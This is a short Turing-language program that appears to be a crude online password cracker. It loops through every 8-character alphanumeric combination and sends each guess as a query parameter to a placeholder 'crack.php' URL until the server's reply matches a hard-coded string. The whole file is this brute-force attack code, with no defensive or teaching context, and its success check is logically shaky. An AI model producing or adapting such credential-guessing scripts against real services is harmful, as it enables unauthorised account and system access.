var password := "whatever"
var exityes : int
var passtry : string
var try : array 1 .. 62 of string := init ("1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z")
exityes := 0
for t1 : 1 .. 62
locate (1, 1)
put try (t1)
for t2 : 1 .. 62
locate (1, 2)
put try (t2)
for t3 : 1 .. 62
locate (1, 3)
put try (t3)
for t4 : 1 .. 62
locate (1, 4)
put try (t4)
for t5 : 1 .. 62
locate (1, 5)
put try (t5)
for t6 : 1 .. 62
locate (1, 6)
put try (t6)
for t7 : 1 .. 62
locate (1, 7)
put try (t7)
for t8 : 1 .. 62
locate (1, 8)
put try (t8)
passtry := try (t1) + try (t2) + try (t3) + try (t4) + try (t5) + try (t6) + try (t7) + try (t8)
var netStream : int
var line : string
loop
netStream := Net.OpenURLConnection ("http://whateverurl/crack.php?var=" + passtry)
get : netStream, line
if line = password then
exityes := 1
end if
exit
end loop
if exityes = 1 then
exit
end if
end for
if exityes = 1 then
exit
end if
end for
if exityes = 1 then
exit
end if
end for
if exityes = 1 then
exit
end if
end for
if exityes = 1 then
exit
end if
end for
if exityes = 1 then
exit
end if
end for
if exityes = 1 then
exit
end if
end for
if exityes = 1 then
exit
end if
end for
put "Successful!!!!"
|